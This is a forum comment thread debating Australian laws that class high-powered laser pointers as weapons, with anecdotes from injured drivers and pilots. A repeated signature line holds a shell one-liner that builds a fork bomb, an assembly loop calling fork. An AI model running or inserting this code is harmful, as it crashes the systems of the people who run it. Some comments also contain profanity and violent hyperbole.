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Laser Pointers Classed as Weapons in Australia
An anonymous reader was the first to point to an article in the Sydney Morning Herald which says that New South Wales (of which Sydney is the capital) will prohibit the possession of certain types of laser pointers, defining them as weapons, and make it an offense to carry any laser pointer "without a lawful reason." (Similar coverage at news.com.au) Western Australia apparently beat NSW to the punch, and the federal government of Australia announced earlier this month it will treat laser pointers much like firearms, which, in Australia, is really saying something. The restrictions come as a reaction to incidents (not confined to Australia) in which the lasers were trained on planes, distracting pilots.
They aren't banning class 1 laser pointers (won't cause eye damage) or class 2 laser pointers (your natural blink reflex should be sufficient to protect you from eye damage). They're only banning high powered class 3 and 4 laser pointers (may cause eye damage and need to use eye protection). Most laser pointers are class 2. To be honest, I think this is a good thing. The less idiots with potentially dangerous lasers, the better. A class 2 laser is good enough for most people, and if you really need a bigger one (i.e. not just to compensate for your small breasts/penis), you can get a permit.
This whole exercise is not much more than a political diversion. Sydney has some major water/traffic/infrastructure/social/political problems. Rather than deal with them and have everyone talking about how bad the public transport is to the outer suburbs (for example), get everyone talking about laser pointers!!! The lower classes lap it up. It's exactly the same tactic as the Tasmanian governments tactic to push for a state bogan-ball team in the national competition, while avoiding the more pressing issue of two deputy leaders being sacked for corruption within a very short space of time.
It's got very little to do with safety and much more to do with politics and power.
Does it go on forever?
Lots of people were quick to jump on the "let's ban X and Y every-day items as well" bandwagon. But seriously, for what legitimate reason might someone carry around a class 3 or 4 laser? If they have a reason to have that equipment (researchers, etc), then it's considered lawful use, and the authorities won't hassle you. Why is it important that the rest of us have access to powerful lasers?
Cars are an essential tool in most peoples' lives. We realize they kill more people than lasers, but we couldn't exactly give them up. Powerful lasers serve no useful purpose in the hands of someone who doesn't depend on them for work-related reasons, and so it seems like a smart move to take them away.
Of course, I don't think this will stop anyone from trying to bring down planes. It's just like banning guns in Australia - the people who want them to cause mischief aren't inconvenienced in the slightest by the lack of legal avenues through which they can obtain one. If you want to cause trouble, the black market will ALWAYS be there.
Unlike arcwelders, or cars, I can't think of a lot of good reasons for a high intensity laser.
Having them available to 'everyone' in my opinion vastly increases the probabilty of a random fool doing something foolish.
But then, I think the same about firearms too, except even there there's 'real' self defense possibilities.
These incidents are, overall, extremely rare. In-flight they are not an issue at all. Furthermore, pilots better be able to deal with them, since there are lots of other sources of bright light that may cause them to be temporarily blinded (or experience the "photic sneeze").
If lawmakers are just itching to make a new law, make it a specific law that says that it's illegal to carry a laser pointer on your person, outdoors, within 2 miles of the runway, where it could be pointed at planes taking off or landing.
Here's what a 5mW laser looks like to a pilot.
http://www.pangolin.com/faa/laser-aircraft-animation-and-explanation.htm
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
If we're going to ban everything that isn't safe for use by drunken children, we're not going to be left with much that's legal.
compared to the chaos that will ensue after the cats of Australia have found out what lawmakers have done with their favorite toy and rise up as one to slay them.
Monstar L
and I stayed silent.
Then they disarmed the ewoks, and I stayed silent.
Then they came to disarm me, and there was no-one left to speak up.
Quidquid Latine dictum sit, altum videtur (anything said in Latin sounds important)
It's illegal to have headlights above a certain brightness level, or perhaps it's above a certain number of lights - but there are light configurations you can put on a car that will get you pulled over if you have them on for street driving.
Now it's not illegal to have said lights mounted, so that's the point where the car analogy breaks (as they always do). But it does show your point is not as ridiculous as you had thought, because having really bright beams pointed at traffic is in fact a valid safety issue.
"There is more worth loving than we have strength to love." - Brian Jay Stanley
FWIW, I'm one of those who've been injured with a laser pointer. It took a momentary glance up the street after leaving a Newtown bar with friends for me to be left with a blind wiggle across my right eye, from the lower right to the upper left, running right through my fovea. I'm unable to read unless I use my left eye, because with my right there just aren't any words there. I can see the big picture, but no details. That was July 2006, and two years of partial blindness makes a hell of a difference to life. Forget watching fast paced movies and having a clue what's going on, get ready to read 1/3 the speed you used to, and forget being able to look at code and tell the difference between { and ( without using a 20 point font.
And perl... it's all but incomprehensible.. oh wait, I learned that after being blinded. I kid I kid.
The thing about the tools who use laser pointers like this is they can be so far away nobody has any idea who they are, where they are, the beam is silent, and about all you can tell is it's over-that-way-somewhere. The bouncers around that night said they'd seen a laser pointer dot bouncing over guests through the evening, but thought nothing of it.
Whether or not they should be banned is one question, but comparing them to screwdrivers, knives, or axes is being a git who doesn't turn their brain on. At least if some bastard had come at me with a knife they'd have been caught, and at the very least been beaten into a pulp by either my friends, or the bouncers.
The laser pointer tools though - anonymous, quiet, pretty much undetectable, and their weapon leaves absolutely no evidence behind of what it was apart from really fucking bright.
I really hate idiots who play with laser pointers.
I'm with you. I'm an Aussie and I'm fine with the law.
Recent personal experience: I was the first to pull up to a stop light on a 4-lane road, with my wife beside me and my two year old daughter in the back seat. As I put my foot on the brake approaching the intersection I suddenly suffered a complete loss of vision (As IN - WHAT THE F..K??? I CANT SEE. MY EYES? WTF IS WRONG WITH MY EYES!?!?). In the confusion I somehow managed to come to my senses enough to lock the brakes before going through the intersection.
As my eyesight returned and I sat there trying to work out what just happened, I turned to see a 15-16 year old sitting in a car beside me with his mates, laughing their arses off.
I nearly wiped out my whole family - and they thought it was the funniest thing in the world.
The problem was - at the time I had NO IDEA what was happening to me - I didnt know it was a laser pointer until afterwards. At a critical moment I blinked and my eyes didnt work - it FREAKED me out, and this wasnt even one of the lasers that they're banning.
BTW - Yes I got out of the car..and YES, I still have the laser pointer the kid used.
Laser pointers do !
There have been half a dozen or so such incidents in Australia in the last few months, including one which involved coordinated beams from multiple locations directed at the same plane.
E.g.:
http://www.abc.net.au/news/stories/2008/04/08/2211257.htm
http://www.abc.net.au/news/stories/2008/04/11/2214689.htm
http://www.abc.net.au/news/stories/2008/03/29/2202704.htm
As an Australian who flies quite a lot, I'm extremely happy for them to ban these things if it stops morons from blinding my pilot on final approach. The fact that there have been coordinated attacks is also evidence that it is more than an incidental problem.
Read Pynchon.
Thanks for the commentary Mr. Armchair Aviation Security Expert.
I am an Australia Flight Instructor rated for night flying. The fuckwits target us at least once a week around Melbourne especially on approach (Usually Essendon and Moorabbin too).
How the fuck am I suppose to fucking land when I have some asshole trying blind me? As another pilot here said (Is that you Rob?) "If I'm flying VFR and I can't fucking see then I am going I'm going to have an accident".
And what possible political purpose in your dimwit mind of yours could there be to ban high powered laser pointers? A distraction for more serious issues? Are you saying that the possibility of an aircraft crashing into built areas is not serious?
Will my tank full of sharks count as a "lawful reason"?
I hate printers.
I'd just like to point out that this article is about Australia, don't bring America into this. Not everything is about America.
Homer: A high powered laser is not a weapon, Marge, it's a tool. Like a butcher's knife or a harpoon, or... or an alligator.
Crapola to you and the previous post.
Have you seen the view out of a cockpit when a laser pointer is trained on it? A. There is none...
Pilots don't like losing their view by these things. They do have a bit of responsibility to land the big paraffin budgie with all on board safe and well.
What happened was that the pilots raised attention to the issue after a few too many incidents, the media played it up, and now every little twit with access to one is tracking planes.
In this case the govt is left with no choice and has to act - or would you rather see a bit of carnage???
Yes, there have been numerous examples of this happening: http://www.abc.net.au/news/stories/2008/04/11/2214689.htm
Most incidents take place on landing or takeoff. Green lasers also being notoriously good at remaining focused enough for the several hundred meters needed to completely blind a pilot at night.
Oh please, big government, save us from ourselves by outlawing more things! We don't need to be personally accountable for our own actions!
Viral software licensing is not freedom, it is in fact GNU/Socialism.
Flamebait? Sounds like he's being positively reasonable to me!
XML is like violence. If it doesn't solve the problem, use more.
They just need a warning label, like 'Warning: Do not point laser at remaining pilot'.
"They" won't "ban" everything that is misused by drunken children. What they will do to some extent is license things where the risk of people carrying them outweighs the benefit.
Ultra high power laser pointers are a special category - they can blind someone permanently from a distance but there is no legitimate reason to carry one in your pocket. Thus carrying them without a license should be illegal and people that break the law should be punished. The rationale for that is the otherwise kids will shine them in people's eyes either deliberately or accidentally (maybe they were aiming at balloons) permanently blind them.
From what I've read, there are people that need these things for their jobs, and they will get a license to have one and training on how to use it.
In the UK there is similar legislation recommended
http://www.liv.ac.uk/radiation/pdf/laserpointers.pdf
The HPA considers the professional use of a Class 1 or Class 2 laser pointer as a training aid in the workplace to be justified, and regards these Classes of laser product as being generally adequate for such use. The use of Class 3R laser pointers up to 5 mW may be justified for some applications in the workplace where the user has received adequate training.
The HPA advises that the sale of laser products to the general public for use as laser pointers should be restricted to Class 1 or Class 2 devices which should be classified in accordance with the requirements of the current British Standard and should be sold with sufficient accompanying information to enable the user to operate the product in a safe manner. Toys should be Class 1 or of such low output that they do not need to be classified.
After seeking advice from NRPB (now the Radiation Protection Division of the HPA) the Department of Trade and Industry urged Trading Standards Authorities to use their existing powers under the General Product Safety Regulations 2005 5 to remove laser pointers of a Class higher than Class 2 (as defined in the British Standard) from the general market. Such devices are too powerful for general use as laser pointers and present an unacceptable risk in the hands of the consumer because they may cause eye injury in normal reasonably foreseeable use.
Now lots of other things are potentially lethal but are mostly used legitimately. Cars for example. And at least in America guns are protected by the Second Amendment.
High power laser pointers seem to be popular with idiots who use them for tricks in an unsafe way - other posters have talked about kids zapping drivers at stop lights and TFA talks about people shining them at pilots in planes. I once went to a computer user group meeting at a pub where someone had a HeNe laser and was shining out at people on the street. Later on he actually said it would cause blindness if you looked into it. Unbelievable.
I think for that reason they should be controlled by a license. If you need one for your job, apply for a license. If not, expect a prison term if you carry one around in most countries.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Welcome to the club! I would offer you a welcome gift basket, but it's being held up in legal pending approval of the government that all products in it are certified non-lethal.
We've prepared for you a chair. You'll need something comfortable to sit in while you wait for years and years of court cases, as standing that whole time is just uncomfortable.
I see you've found our complimentary golf-towels. Oh, no, we don't have a golf course. See, the government doesn't trust us with any small object that travels at anything resembling a high speed. The golf-towel is to dry the nervous sweat from your brow as you sit on the edge of that comfortable chair as the courts decide on cases that could either classify you as the law-abiding citizen simply for doing the things you've always done or declare you a criminal simply for doing the things you've always done.
Oh, and we have over there our Screech-o-mat(tm), a device that you can pull the lever on to remind you of the pointlessness of arguing your case that you're not a bad guy for simply owning a useful tool, because all you'll get if you DO defend yourself is the screeching and wailing of fear-mongers and politicians who are slowly stripping away your rights and liberties "for the children." Oh, there it goes. Yes, it's normally that loud, and yes, the "arguments" it spouts are all direct quotes from the people who think you're a danger to life, the universe, and everything simply for being Not Them. I guess Bob needed his daily reminder.
Uh-oh, Phil over there forgot to use the Screech-o-mat again! Don't mind him, he'll wind down in about 10 minutes or so. That's what happens when you don't use the Screech-o-mat, you start to wonder why the world doesn't make sense and wonder if you're living in a madhouse. Yeah, that's why he's shouting that at the top of his lungs...oh, hey, he ran down quicker than usual. He must not have had his morning coffee...oh, no, wait...there it is. His soul just got crushed under the realization that the inmates are running the asylum and there's really not much that can be done about it anymore, as everybody in power seems to have checked their common sense at the door and lost their claim ticket.
Don't worry, you get used to it after a while. Now, if you'll excuse me, I need to go use the Screech-o-mat.
I have no tag line
It's not about saving us from ourselves. Its specifically about saving a couple of hundred other people (mainly in flying metal cylinders) from idiots who think doing this is clever. Remember, your right to flail your arms around like a madman end where my face begins.
/. ?), and also assuming that its well nigh impossible to find the little fuckers who are doing it, then banning laser pointers powerful enough (or with a beam coherent enough over long distances), is possibly a valid thing.
I don't know the prevalence of this "point laser at pilot" behaviour, but assuming that its not ludicrously small (there sure have been a lot of incidents hit the news down here recently, any pilots reading
Personally, I say "meh". I can't recall the last presentation where someone actually used one as anything other than a fidget-widget.
But is it necessary to BAN the pointers? Punish 99.99% of the population, because of the misbehavior of a few? That seems out-of-bounds.
The more logical course would be to locate the criminal with a pointer in his hand, and then shoot him dead. Punish that ONE person, not everybody.
The government is not your daddy. Its purpose is not to raid middle-class neighbors' wallets and give it to you.
No it doesn't. Your right to not be blinded can only trump someone's right to point a fucking laser pointer at your eyes.
What you are saying is equivalent to "nobody should be allowed to carry a knife because they *might* stab me with it". Pure idiocy. If we all lived in a nice libertarian utopia full of moderately intelligent people that would work well. They could be trusted to carry a weapon but not use it unless they were under mortal danger since they wouldn't want to harm anyone or go to prison. But we don't. In Australia and the UK there are packs of chavs that dazzle drivers with lasers as they pull up to stop signs to amuse their friends. Sometimes those drivers get out of the car. Then if they're lucky they beat the shit out of the chavs, and if they're unlucky the chavs beat the shit out of them. Basically the chavs want to pick a fight with people to kill time.
When you're dealing with people like that, it's unfortunately necessary to take away people's right to carry lasers that could actually cause eye damage. And come to think of it, pretty much any weapon. The problem is that the chav scum basically have nothing to do other than pick fights with random passers by. They have absolutely no ability to see that in the long run this will land them in prison. If you let them have low power lasers they will dazzle people to try to start some drama. If you give them high power lasers they will blind someone and if you let them have knives or guns they will kill someone. In both cases they will be very surprised that they get sent to prison for life for doing this since they are too stupid to see the inevitable progression from picking fights with strangers to killing or maiming someone to serious jail time. This makes them very unlike the moderately intelligent citizens of a hypothetical libertarian utopia and that is why libertarian rules are not applied to them.
In the UK if you want to carry a knife, expect the police to ask for a good reason if they search you and find it. Which if you're a chav they will do if you hang around causing trouble. If you don't provide one, you'll get done for carrying an offensive weapon. So carrying kitchen knives is out unless you're a chef on your way to work for example. Actually, if you're chav vermin, then expect to get done for carrying anything at all that could possibly harm someone, regardless of whether you're a chef or not.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Well, since it's acceptable for you to ban laser pointers on behalf of the 0.001% of users who use them inappropriately, let's also ban airplanes. Here in the US, we've had a problem with a very small portion of airplanes crashing into large buildings.
You're probably the type of driver who stares directly into oncoming headlamps at night, then bitches that it's hard to see the road. Don't stare. It's a miracle you haven't blinded yourself looking at the sun already.
Sounds to me like we need a technological solution.
/really/ crash an airplane.
If laser pointers are this dangerous simply banning them is not going to be much of a deterrent against someone who wants to use one to
I wonder if some kind of coating can be applied to the windows of airliners that can reduce the intensity of laser beams without compromising pilot visibility?
A work that expires before its copyright never enters the public domain and thus enjoys eternal copyright protection.
How the explitive deleted am I suppose to explicitive deleted land when I have some asshole trying blind me?
Most issues is with green pointers. Have you considered picking up a pair of laser safety goggles for green lasers? Many narrow band goggles will almost completely block the wavelength so you don't even see it. Demo here;
http://www.youtube.com/watch?v=gagEdCVgRhY
They work well.
The truth shall set you free!
Is that legitimate and lawful enough for you?
Tiller's Rule: Never use a word in written form that you've only heard and never read. You will end up looking foolish.
Wow..they sure have mangled the freedoms and rights of Australians in the past 8 years. Gun rights? Gone. Now laser pointers?
It's happening everywhere. Well, let's just cut to the chase (or the future):
The US, UK, and Austrailia are combined into one giant country, locked down like a prison. Everyone is chipped, everything is monitored and tracked. You cannot own a gun or laser pointer, hell - you cannot even own a flashlight without registering it as only cops and burglers need them, and you're not a cop.
Matter of fact, you can't really own anything.
So you have applied for ownership of a car, which is a class c restricted motorized device?
Nope, don't think so Application denied - only criminals and party members use cars, they are quite potent weapons and very dangerous and since we care about keeping YOU safe above all else let me just point out some of the many uses of a 'car" -
You could run someone over-especially children.
You could use the car as a bomb and run it into government buildings, and we can't have that.
You could use it in your garage to gas yourself (that is, if we don't make it there in time to stop you once we've noticed you're spending an inordinate amount of time sitting in the garage in one place with an illegal motorized device running).
You could use it to try to leave the country; that would be unsafe, you could get in an accident or end up trying to live somewhere where there is no government to protect you, or one that won't protect you enough.
- So you can see, that we really do care - and we are, above all else: FAIR. DNA does not lie. We genotyped you AND your children and your wife and you all show a high propensity for independent thought, distrust of authority and suseptibility to disease. You children show possible criminal tendencies with a 20% liklihood of un-societal behavior. This is why you have been given a repetitive manufacturing job in the D-5 neighborhood and why your children will be educated at the government happy child camp.
Remember, safety and security above all else; without it, and without us - you have nothing!
Maybe take some of the useless "luggage screeners" and send them out to grab the laser felons.
We sealed the cockpit doors, so now they come through the windows.
Maybe we should put bigger lasers on the planes, and fire back. It shouldn't be hard to hit the person....they are giving us a beacon.
"Tell me one legitimate and lawful purpose that an ordinary person needs these types of high powered lasers?"
Green lasers (which are the ones at issue here) are used by astronomers and astronomy teachers/students to point out constellations and stars at night. The green beam is visible in air while red beams are not.
Are you telling us that astronomy should be illegal?